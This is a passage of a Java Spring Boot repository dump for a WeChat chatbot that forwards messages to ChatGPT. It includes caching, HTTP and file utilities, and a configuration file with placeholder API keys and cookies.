117 | JSONObject jsonObject2 = (JSONObject) jsonObject1.get("message");
118 | String result = (String) jsonObject2.get("content");
119 | log.info("gptNewComplete result:{}", result);
120 |
121 | if (msgs.size() > baseConfig.getChatGptFlowNum()) {
122 | CacheHelper.setUserChatFlowClose(fromUser);
123 | return "连续对话超过" + baseConfig.getChatGptFlowNum() + "次,自动关闭";
124 | } else if (CacheHelper.getUserChatFlowSwitch(fromUser)) {
125 | List asistantMsgs = CacheHelper.getGptCache(fromUser);
126 | GptMessageDto asistantMsg = new GptMessageDto();
127 | asistantMsg.setRole("assistant");
128 | asistantMsg.setContent(result);
129 | asistantMsgs.add(asistantMsg);
130 | CacheHelper.setGptCache(fromUser, asistantMsgs);
131 | }
132 | return result;
133 | }
134 |
135 | }
136 |
--------------------------------------------------------------------------------
/src/main/java/com/longbig/multifunction/service/WeChatService.java:
--------------------------------------------------------------------------------
1 | package com.longbig.multifunction.service;
2 |
3 | import com.alibaba.fastjson.JSON;
4 | import com.alibaba.fastjson.JSONObject;
5 | import com.google.common.collect.Lists;
6 | import com.google.common.collect.Maps;
7 | import com.longbig.multifunction.config.BaseConfig;
8 | import com.longbig.multifunction.model.wechat.kf.*;
9 | import com.longbig.multifunction.utils.CacheHelper;
10 | import com.longbig.multifunction.utils.JsonHelper;
11 | import com.longbig.multifunction.utils.OkHttpUtils;
12 | import lombok.extern.slf4j.Slf4j;
13 | import okhttp3.MediaType;
14 | import okhttp3.RequestBody;
15 | import org.apache.commons.lang3.StringUtils;
16 | import org.springframework.beans.factory.annotation.Autowired;
17 | import org.springframework.stereotype.Service;
18 | import org.springframework.util.CollectionUtils;
19 |
20 | import java.util.List;
21 | import java.util.Map;
22 |
23 | /**
24 | * @author yuyunlong
25 | * @date 2023/2/13 11:16 下午
26 | * @description
27 | */
28 | @Service
29 | @Slf4j
30 | public class WeChatService {
31 |
32 | @Autowired
33 | private BaseConfig baseConfig;
34 |
35 | /**
36 | * 企业微信自建三方应用accessToken名
37 | */
38 | private String WECHAT_TOKEN = "WECHAT_ROBOT_TOKEN";
39 | /**
40 | * 微信客服accessToken名
41 | */
42 | private String KF_TOKEN = "KF_TOKEN";
43 |
44 | private String cursorKey = "cursor";
45 |
46 |
47 | private String getAccessToken(String tokenName, String corpsecret) throws Exception {
48 |
49 | String data = CacheHelper.get(tokenName);
50 | if (StringUtils.isNotEmpty(data)) {
51 | // log.info("cache data:{}", data);
52 | return data;
53 | }
54 | String corpid = baseConfig.getSCorpID();
55 | String url = "https://qyapi.weixin.qq.com/cgi-bin/gettoken?corpid=" + corpid +
56 | "&corpsecret=" + corpsecret;
57 | String jsonData = OkHttpUtils.get(url);
58 | JSONObject jsonObject = JSONObject.parseObject(jsonData);
59 | String accessToken = jsonObject.getString("access_token");
60 | CacheHelper.set(tokenName, accessToken);
61 | return accessToken;
62 | }
63 |
64 |
65 | public String sendMsg(String msg, String touser) throws Exception {
66 | String accessToken = null;
67 | List msgList = Lists.newArrayList();
68 | try {
69 | String corpsecret = baseConfig.getCorpsecret();
70 | accessToken = getAccessToken(WECHAT_TOKEN, corpsecret);
71 | } catch (Exception e) {
72 | log.error("sendMsg getAccessToken error,e={}", e);
73 | return "fail";
74 | }
75 | String url = "https://qyapi.weixin.qq.com/cgi-bin/message/send?access_token=" + accessToken;
76 | if (msg.length() > 2048) {
77 | int count = msg.length() / 2048 + 1;
78 | int beginIndex = 0, endIndex = 2048;
79 | for (int i = 0; i < count; i++) {
80 | String temp = msg.substring(beginIndex, endIndex);
81 | msgList.add(temp);
82 | beginIndex = endIndex;
83 | endIndex += 2048;
84 | endIndex = endIndex > msg.length() ? msg.length() : endIndex;
85 | }
86 | } else {
87 | msgList.add(msg);
88 | }
89 |
90 | for (String s : msgList) {
91 | String body = "{\n" +
92 | " \"touser\" : \"" + touser + "\",\n" +
93 | " \"msgtype\" : \"text\",\n" +
94 | " \"agentid\" : " + baseConfig.getAgentId() + ",\n" +
95 | " \"text\" : {\n" +
96 | " \"content\" : \"" + s + "\"\n" +
97 | " },\n" +
98 | " \"safe\":0,\n" +
99 | " \"enable_id_trans\": 0,\n" +
100 | " \"enable_duplicate_check\": 0,\n" +
101 | " \"duplicate_check_interval\": 1800\n" +
102 | "}";
103 | MediaType JSON1 = MediaType.parse("application/json;charset=utf-8");
104 | RequestBody requestBody = RequestBody.create(JSON1, body);
105 | log.info("send msg:{}", requestBody);
106 | OkHttpUtils.post(url, "", requestBody, Maps.newHashMap());
107 | }
108 | return "success;";
109 | }
110 |
111 | public String sendKfMsg(KefuHandleDTO kefuHandleDTO) throws Exception {
112 | String accessToken = null;
113 | List msgList = Lists.newArrayList();
114 | try {
115 | String corpsecret = baseConfig.getKfsecret();
116 | accessToken = getAccessToken(KF_TOKEN, corpsecret);
117 | } catch (Exception e) {
118 | log.error("sendKfMsg getAccessToken error,e={}", e);
119 | return "fail";
120 | }
121 | String url = "https://qyapi.weixin.qq.com/cgi-bin/kf/send_msg?access_token=" + accessToken;
122 | String msg = kefuHandleDTO.getChatGptData();
123 | if (msg.length() > 2048) {
124 | int count = msg.length() / 2048 + 1;
125 | int beginIndex = 0, endIndex = 2048;
126 | for (int i = 0; i < count; i++) {
127 | String temp = msg.substring(beginIndex, endIndex);
128 | msgList.add(temp);
129 | beginIndex = endIndex;
130 | endIndex += 2048;
131 | endIndex = endIndex > msg.length() ? msg.length() : endIndex;
132 | }
133 | } else {
134 | msgList.add(msg);
135 | }
136 |
137 | for (String s : msgList) {
138 | String body = "{\n" +
139 | " \"touser\" : \"" + kefuHandleDTO.getFromUser() + "\",\n" +
140 | " \"msgtype\" : \"text\",\n" +
141 | " \"text\" : {\n" +
142 | " \"content\" : \"" + s + "\"\n" +
143 | " },\n" +
144 | " \"open_kfid\": \"" + kefuHandleDTO.getOpenKfid() + "\"\n" +
145 | "}";
146 | MediaType JSON1 = MediaType.parse("application/json;charset=utf-8");
147 | RequestBody requestBody = RequestBody.create(JSON1, body);
148 | log.info("sendKfMsg:{}", requestBody);
149 | OkHttpUtils.post(url, "", requestBody, Maps.newHashMap());
150 | }
151 | return "success";
152 | }
153 |
154 | /**
155 | * 获取客服接收的消息
156 | * @return
157 | */
158 | public KefuHandleDTO readKfReceiveMsg(KefuNoticeDTO kefuNoticeDTO) {
159 | String kfsecret = baseConfig.getKfsecret();
160 | try {
161 | String accessToken = getAccessToken(KF_TOKEN, kfsecret);
162 | String cursorCache = CacheHelper.getWechatCache(cursorKey);
163 |
164 | String url = "https://qyapi.weixin.qq.com/cgi-bin/kf/sync_msg?access_token=" + accessToken;
165 | Map body = Maps.newHashMap();
166 | body.put("cursor", cursorCache);
167 | body.put("token", kefuNoticeDTO.getToken());
168 | body.put("limit", 1000);
169 | body.put("voice_format", 0);
170 | body.put("open_kfid", kefuNoticeDTO.getOpenKfId());
171 | MediaType JSON1 = MediaType.parse("application/json;charset=utf-8");
172 | RequestBody requestBody = RequestBody.create(JSON1, JSON.toJSONString(body));
173 | String msg = OkHttpUtils.post(url, "", requestBody, Maps.newHashMap());
174 | if (StringUtils.isBlank(msg)) {
175 | return null;
176 | }
177 | KefuDataDTO kefuDataDTO = JsonHelper.parseJsonToObject(msg, KefuDataDTO.class);
178 | String cursorNew = kefuDataDTO.getNext_cursor();
179 | CacheHelper.setWechatCache(cursorKey, cursorNew);
180 |
181 | KefuHandleDTO kefuHandleDTO = new KefuHandleDTO();
182 | List kefuDataMsgDTOS = kefuDataDTO.getMsg_list();
183 | //TODO 这里包含event和text类型数据,看看怎么处理
184 | if (!CollectionUtils.isEmpty(kefuDataMsgDTOS)) {
185 | for (KefuDataMsgDTO kefuDataMsgDTO : kefuDataMsgDTOS) {
186 | if (kefuDataMsgDTO.getMsgtype().equals("text")) {
187 | kefuHandleDTO.setData(kefuDataMsgDTO.getText().getContent());
188 | kefuHandleDTO.setFromUser(kefuDataMsgDTO.getExternal_userid());
189 | kefuHandleDTO.setOpenKfid(kefuDataMsgDTO.getOpen_kfid());
190 | break;
191 | }
192 | }
193 |
194 | }
195 | return kefuHandleDTO;
196 |
197 | } catch (Exception e) {
198 | log.error("readKfReceiveMsg error, e={}", e);
199 | }
200 | return null;
201 | }
202 |
203 | }
204 |
--------------------------------------------------------------------------------
/src/main/java/com/longbig/multifunction/utils/CacheHelper.java:
--------------------------------------------------------------------------------
1 | package com.longbig.multifunction.utils;
2 |
3 | import com.google.common.cache.Cache;
4 | import com.google.common.cache.CacheBuilder;
5 | import com.google.common.collect.Lists;
6 | import com.longbig.multifunction.model.chatgpt.GptMessageDto;
7 | import org.springframework.util.CollectionUtils;
8 |
9 | import java.util.List;
10 | import java.util.Objects;
11 | import java.util.concurrent.TimeUnit;
12 |
13 | /**
14 | * @author yuyunlong
15 | * @date 2023/2/18 9:44 下午
16 | * @description
17 | */
18 | public class CacheHelper {
19 |
20 | private static Cache cache;
21 |
22 | private static Cache> chatGptCache;
23 |
24 | //用户连续对话开关
25 | private static Cache userChatFlowSwitch;
26 | //用户GPT4对话开关
27 | private static Cache userChatGpt4Switch;
28 |
29 | private static Cache wechatCache;
30 |
31 | static {
32 | cache = CacheBuilder.newBuilder()
33 | .expireAfterWrite(120, TimeUnit.MINUTES)
34 | .build();
35 |
36 | chatGptCache = CacheBuilder.newBuilder()
37 | .expireAfterWrite(30, TimeUnit.MINUTES)
38 | .build();
39 |
40 | userChatFlowSwitch = CacheBuilder.newBuilder()
41 | .expireAfterWrite(30, TimeUnit.MINUTES)
42 | .build();
43 |
44 | userChatGpt4Switch = CacheBuilder.newBuilder()
45 | .expireAfterWrite(3, TimeUnit.HOURS)
46 | .build();
47 |
48 | wechatCache = CacheBuilder.newBuilder()
49 | .expireAfterWrite(3, TimeUnit.DAYS)
50 | .build();
51 | }
52 |
53 | public static void setWechatCache(String key, String value) {
54 | wechatCache.put(key, value);
55 | }
56 |
57 | public static String getWechatCache(String key) {
58 | return wechatCache.getIfPresent(key);
59 | }
60 |
61 | public static void set(String key, String value) {
62 | cache.put(key, value);
63 | }
64 |
65 | public static String get(String key) {
66 | return cache.getIfPresent(key);
67 | }
68 |
69 | public static void setGptCache(String username, List gptMessageDtos) {
70 | chatGptCache.put(username, gptMessageDtos);
71 | }
72 |
73 | public static List getGptCache(String username) {
74 | List messageDtos = chatGptCache.getIfPresent(username);
75 | if (CollectionUtils.isEmpty(messageDtos)) {
76 | return Lists.newArrayList();
77 | }
78 | return messageDtos;
79 | }
80 |
81 | public static void setUserChatFlowOpen(String username) {
82 | userChatFlowSwitch.put(username, true);
83 | }
84 |
85 | public static void setUserChatFlowClose(String username) {
86 | userChatFlowSwitch.put(username, false);
87 | chatGptCache.invalidate(username);
88 | }
89 |
90 | public static Boolean getUserChatFlowSwitch(String username) {
91 | Boolean result = userChatFlowSwitch.getIfPresent(username);
92 | if (Objects.isNull(result)) {
93 | return false;
94 | }
95 | return result;
96 | }
97 |
98 | public static void setUserChatGpt4Open(String username) {
99 | userChatGpt4Switch.put(username, true);
100 | }
101 |
102 | public static void setUserChatGpt4Close(String username) {
103 | userChatGpt4Switch.put(username, false);
104 | }
105 |
106 | public static Boolean getUserChatGpt4Switch(String username) {
107 | Boolean result = userChatGpt4Switch.getIfPresent(username);
108 | if (Objects.isNull(result)) {
109 | return false;
110 | }
111 | return result;
112 | }
113 | }
114 |
--------------------------------------------------------------------------------
/src/main/java/com/longbig/multifunction/utils/FileUtils.java:
--------------------------------------------------------------------------------
1 | package com.longbig.multifunction.utils;
2 |
3 | import com.google.common.collect.Lists;
4 | import lombok.extern.slf4j.Slf4j;
5 |
6 | import java.io.*;
7 | import java.util.List;
8 | import java.util.Objects;
9 |
10 | @Slf4j
11 | public class FileUtils {
12 |
13 | /**
14 | * 读取文件后以数组形式存放
15 | *
16 | * @param inputFile
17 | * @return
18 | * @throws Exception
19 | */
20 | public static List readFileToStringList(String inputFile) {
21 | List stringList = Lists.newArrayList();
22 | try {
23 | FileReader fileReader = new FileReader(inputFile);
24 | BufferedReader bufferedReader = new BufferedReader(fileReader);
25 | String line = bufferedReader.readLine();
26 | while (line != null) {
27 | log.info("readFileToStringList:{}", line);
28 | stringList.add(line);
29 | line = bufferedReader.readLine();
30 | }
31 | fileReader.close();
32 | } catch (IOException e) {
33 | log.error("读取输入文件失败:{}", inputFile, e);
34 | }
35 | return stringList;
36 | }
37 |
38 | /**
39 | * 将二维数组写入到文件中
40 | *
41 | * @param strings
42 | * @param outputFile
43 | */
44 | public static void writeStringListToFile(String[][] strings, String outputFile) {
45 | try {
46 | File file = new File(outputFile);
47 | FileWriter out = new FileWriter(file);
48 | //将数组中的数据写入到文件中,以空格分开
49 | for (String[] stringList : strings) {
50 | for (String string : stringList) {
51 | if (Objects.nonNull(string)) {
52 | out.write(string + " ");
53 | }
54 | }
55 | out.write("\n");
56 | }
57 | out.close();
58 | } catch (IOException e) {
59 | log.error("输出路径有问题:{}", outputFile);
60 | e.printStackTrace();
61 | }
62 |
63 | }
64 |
65 | /**
66 | * 读取文件到缓存
67 | *
68 | * @param inputFile
69 | */
70 | public static BufferedReader readFile(String inputFile) {
71 | try {
72 | File file = new File(inputFile);
73 | InputStreamReader reader = new InputStreamReader(new FileInputStream(file));
74 | System.out.println(reader.getEncoding());
75 | BufferedReader bufferedReader = new BufferedReader(reader);
76 | return bufferedReader;
77 | } catch (Exception e) {
78 | e.printStackTrace();
79 | }
80 | return null;
81 | }
82 |
83 | /**
84 | * 将缓存写入文件
85 | *
86 | * @param outputFile
87 | * @param bufferedReader
88 | */
89 | public static void writeFile(String outputFile, BufferedReader bufferedReader) {
90 | if (Objects.isNull(bufferedReader)) {
91 | return;
92 | }
93 | try {
94 | File writeName = new File(outputFile);
95 | writeName.createNewFile();
96 | FileWriter writer = new FileWriter(writeName);
97 | String line = "";
98 | while (null != line) {
99 | line = bufferedReader.readLine();
100 | BufferedWriter out = new BufferedWriter(writer);
101 | if (Objects.nonNull(line)) {
102 | out.write("\"" + line + "\"" + ",");
103 | out.flush();
104 | }
105 | }
106 | } catch (IOException e) {
107 | log.error("输出路径不存在:{}", outputFile);
108 | e.printStackTrace();
109 | }
110 | }
111 | }
112 |
--------------------------------------------------------------------------------
/src/main/java/com/longbig/multifunction/utils/JsonHelper.java:
--------------------------------------------------------------------------------
1 | package com.longbig.multifunction.utils;
2 |
3 | import com.alibaba.fastjson.JSON;
4 | import lombok.extern.slf4j.Slf4j;
5 |
6 | /**
7 | * @author yuyunlong
8 | * @date 2023/6/3 23:55
9 | * @description
10 | */
11 | @Slf4j
12 | public class JsonHelper {
13 |
14 | public static T parseJsonToObject(String jsonData, Class clazz) {
15 | try {
16 | return JSON.parseObject(jsonData, clazz);
17 | } catch (Exception e) {
18 | log.error("parseJsonToObject error,e={}", e);
19 | }
20 | return null;
21 | }
22 | }
23 |
--------------------------------------------------------------------------------
/src/main/java/com/longbig/multifunction/utils/OkHttpUtils.java:
--------------------------------------------------------------------------------
1 | package com.longbig.multifunction.utils;
2 |
3 | import com.longbig.multifunction.config.BaseConfig;
4 | import lombok.extern.slf4j.Slf4j;
5 | import okhttp3.*;
6 | import org.springframework.beans.factory.annotation.Autowired;
7 |
8 | import java.util.Map;
9 | import java.util.concurrent.TimeUnit;
10 |
11 | /**
12 | * @author yuyunlong
13 | * @date 2021/10/16 12:57 上午
14 | * @description
15 | */
16 | @Slf4j
17 | public class OkHttpUtils {
18 |
19 | private static Long DEFAULT_TIME_OUT = 40L;
20 |
21 | public static String post(String url, String cookie, RequestBody requestBody, Map header) throws Exception {
22 |
23 | String userAgent = "okhttp/3.12.1;jdmall;android;version/10.3.4;build/92451;";
24 |
25 | OkHttpClient client = new OkHttpClient().newBuilder()
26 | .connectTimeout(DEFAULT_TIME_OUT, TimeUnit.SECONDS)
27 | .readTimeout(DEFAULT_TIME_OUT, TimeUnit.SECONDS)
28 | .build();
29 | Request request = new Request.Builder()
30 | .url(url)
31 | .post(requestBody)
32 | .headers(Headers.of(header))
33 | .addHeader("Cookie", cookie)
34 | .addHeader("User-Agent", userAgent)
35 | .addHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8")
36 | .addHeader("Cache-Control", "no-cache")
37 | .addHeader("connection", "Keep-Alive")
38 | .addHeader("accept", "*/*")
39 | .build();
40 |
41 | Response response = client.newCall(request).execute();
42 | String result = response.body().string();
43 | log.info("post请求,result:{}", result);
44 | return result;
45 | }
46 |
47 | public static String get(String url, String cookie, Map header) throws Exception {
48 |
49 | String userAgent = "okhttp/3.12.1;jdmall;android;version/10.3.4;build/92451;";
50 |
51 | OkHttpClient client = new OkHttpClient().newBuilder()
52 | .build();
53 | Request request = new Request.Builder()
54 | .url(url)
55 | .get()
56 | .headers(Headers.of(header))
57 | .addHeader("Cookie", cookie)
58 | .addHeader("User-Agent", userAgent)
59 | .addHeader("Content-Type", "application/json; charset=UTF-8")
60 | .addHeader("Cache-Control", "no-cache")
61 | .addHeader("connection", "Keep-Alive")
62 | .addHeader("accept", "*/*")
63 | .build();
64 |
65 | Response response = client.newCall(request).execute();
66 | String result = response.body().string();
67 | log.info("get请求,result:{}", result);
68 | return result;
69 | }
70 |
71 | public static String get(String url) throws Exception {
72 |
73 | String userAgent = "okhttp/3.12.1;jdmall;android;version/10.3.4;build/92451;";
74 |
75 | OkHttpClient client = new OkHttpClient().newBuilder()
76 | .build();
77 | Request request = new Request.Builder()
78 | .url(url)
79 | .get()
80 | .addHeader("User-Agent", userAgent)
81 | .addHeader("Content-Type", "application/json; charset=UTF-8")
82 | .addHeader("Cache-Control", "no-cache")
83 | .addHeader("connection", "Keep-Alive")
84 | .addHeader("accept", "*/*")
85 | .build();
86 |
87 | Response response = client.newCall(request).execute();
88 | String result = response.body().string();
89 | log.info("get请求,result:{}", result);
90 | return result;
91 | }
92 |
93 | }
94 |
--------------------------------------------------------------------------------
/src/main/java/com/longbig/multifunction/utils/ResourceUtils.java:
--------------------------------------------------------------------------------
1 | package com.longbig.multifunction.utils;
2 |
3 | import com.google.common.collect.Lists;
4 | import lombok.extern.slf4j.Slf4j;
5 | import org.apache.commons.lang3.StringUtils;
6 | import org.springframework.beans.factory.annotation.Autowired;
7 | import org.springframework.core.io.Resource;
8 | import org.springframework.core.io.ResourceLoader;
9 | import org.springframework.stereotype.Component;
10 |
11 | import java.io.BufferedReader;
12 | import java.io.IOException;
13 | import java.io.InputStream;
14 | import java.io.InputStreamReader;
15 | import java.util.List;
16 |
17 | /**
18 | * @author yuyunlong
19 | * @date 2022/9/10 12:02 下午
20 | * @description
21 | */
22 | @Component
23 | @Slf4j
24 | public class ResourceUtils {
25 |
26 | @Autowired
27 | private ResourceLoader resourceLoader;
28 |
29 | public List readFromClassPath(String filePath) {
30 | Resource resource = resourceLoader.getResource(filePath);
31 | List data = Lists.newArrayList();
32 | try {
33 | InputStream inputStream = resource.getInputStream();
34 | InputStreamReader inputStreamReader = new InputStreamReader(inputStream);
35 | BufferedReader bufferedReader = new BufferedReader(inputStreamReader);
36 | String line = "";
37 | while (line != null) {
38 | line = bufferedReader.readLine();
39 | if (StringUtils.isNotBlank(line)) {
40 | data.add(line);
41 | }
42 | }
43 | bufferedReader.close();
44 | inputStreamReader.close();
45 | inputStream.close();
46 | } catch (IOException e) {
47 | log.error("读取classpath下文件失败,filePath:{}", filePath, e);
48 | }
49 | return data;
50 | }
51 | }
52 |
--------------------------------------------------------------------------------
/src/main/java/com/longbig/multifunction/utils/XmlHelper.java:
--------------------------------------------------------------------------------
1 | package com.longbig.multifunction.utils;
2 |
3 | import lombok.extern.slf4j.Slf4j;
4 | import org.dom4j.Document;
5 | import org.dom4j.DocumentException;
6 | import org.dom4j.DocumentHelper;
7 | import org.dom4j.Element;
8 |
9 | /**
10 | * @author yuyunlong
11 | * @date 2023/6/3 20:47
12 | * @description
13 | */
14 | @Slf4j
15 | public class XmlHelper {
16 |
17 | /**
18 | * xml格式数据转Java对象
19 | *
20 | * @param xmlData
21 | * @param clazz
22 | * @param
23 | * @return
24 | */
25 | public static T parseXmlToObject(String xmlData, Class clazz) {
26 | try {
27 | Document document = DocumentHelper.parseText(xmlData);
28 | Element root = document.getRootElement();
29 |
30 | T object = clazz.newInstance();
31 |
32 | for (java.lang.reflect.Field field : clazz.getDeclaredFields()) {
33 | String tagName = field.getName();
34 | String value = getElementValue(root, tagName);
35 | if (value != null) {
36 | field.setAccessible(true);
37 | field.set(object, value);
38 | }
39 | }
40 |
41 | return object;
42 | } catch (DocumentException | InstantiationException | IllegalAccessException | IllegalArgumentException e) {
43 | log.error("parseXmlToObject error, e = {}", e);
44 | }
45 | return null;
46 | }
47 |
48 | private static String getElementValue(Element parent, String tagName) {
49 | Element element = parent.element(tagName);
50 | if (element != null) {
51 | return element.getTextTrim();
52 | }
53 | return null;
54 | }
55 | }
56 |
--------------------------------------------------------------------------------
/src/main/resources/application.properties:
--------------------------------------------------------------------------------
1 | # datasource
2 | server.port=8080
3 |
4 | #是否从docker启动
5 | start.docker=${START_FROM_DOCKER:0}
6 |
7 | # 京东cookie文件路径
8 | jd.filePath=${FILE_PATH:classpath:jd_cookie.txt}
9 | #jd.pt_key=${PT_KEY:你的pt_key}
10 | #jd.pt_pin=${PT_PIN:你的pt_pin}
11 |
12 | # 掘金cookie
13 | juejin.Cookie=你的掘金cookie
14 |
15 | #chatGPT配置
16 | chatgpt.apiKey=【替换为你的ChatGPT账号API key】
17 |
18 | #一次连续对话中,最大的对话次数限制,可自行修改
19 | chatgpt.flow.num=20
20 |
21 |
22 | #wechat微信应用配置
23 | #自建应用-API接收消息页面-Token
24 | wechat.sToken=【替换】
25 | # 自建应用-API接收消息页面-TokEncodingAESKey
26 | wechat.sEncodingAESKey=【替换】
27 | #自建应用-详情页的Secret
28 | wechat.corpsecret=【自建应用的secret】
29 | #自建应用-应用管理详情页-AgentId
30 | wechat.agentId=【自建应用的agentId】
31 | # 企业微信管理后台-我的企业-企业信息-最下面的企业ID
32 | wechat.sCorpID=【企业ID】
33 | # 微信客服-Secret
34 | wechat.kfsecret=【微信客服secret】
35 |
--------------------------------------------------------------------------------
/src/main/resources/banner.txt:
--------------------------------------------------------------------------------
1 | ......................阿弥陀佛......................
2 | _oo0oo_
3 | o8888888o
4 | 88\" . \"88
5 | (| -_- |)
6 | 0\\ = /0
7 | ___/‘---’\\___
8 | .' \\| |/ '.
9 | / \\\\||| : |||// \\
10 | / _||||| -卍-|||||_ \\
11 | | | \\\\\\ - /// | |
12 | | \\_| ''\\---/'' |_/ |
13 | \\ .-\\__ '-' ___/-. /
14 | ___'. .' /--.--\\ '. .'___
15 | .\"\" ‘< ‘.___\\_<|>_/___.’>’ \"\".
16 | | | : ‘- \\‘.;‘\\ _ /’;.’/ - ’ : | |
17 | \\ \\ ‘_. \\_ __\\ /__ _/ .-’ / /
18 | =====‘-.____‘.___ \\_____/___.-’___.-’=====
19 | ‘=---=’
20 | ....................佛祖保佑 ,永无BUG...................
21 |
--------------------------------------------------------------------------------
/src/main/resources/jd_cookie.txt:
--------------------------------------------------------------------------------
1 | pt_key,pt_pin
2 | pt_key,pt_pin
--------------------------------------------------------------------------------
/src/main/resources/log4j2.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/src/test/java/com/longbig/multifunction/MultiFunctionApplicationTests.java:
--------------------------------------------------------------------------------
1 | //package com.longbig.multifunction;
2 | //
3 | //import org.junit.Test;
4 | //import org.springframework.boot.test.context.SpringBootTest;
5 | //
6 | //@SpringBootTest
7 | //class MultiFunctionApplicationTests {
8 | //
9 | // @Test
10 | // void contextLoads() {
11 | // }
12 | //
13 | //}
14 |
--------------------------------------------------------------------------------
/微信公众号.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/longbig/multi_function_github/3adce0bafb1be2041ea3aa083d78c03bf583ff21/微信公众号.png
--------------------------------------------------------------------------------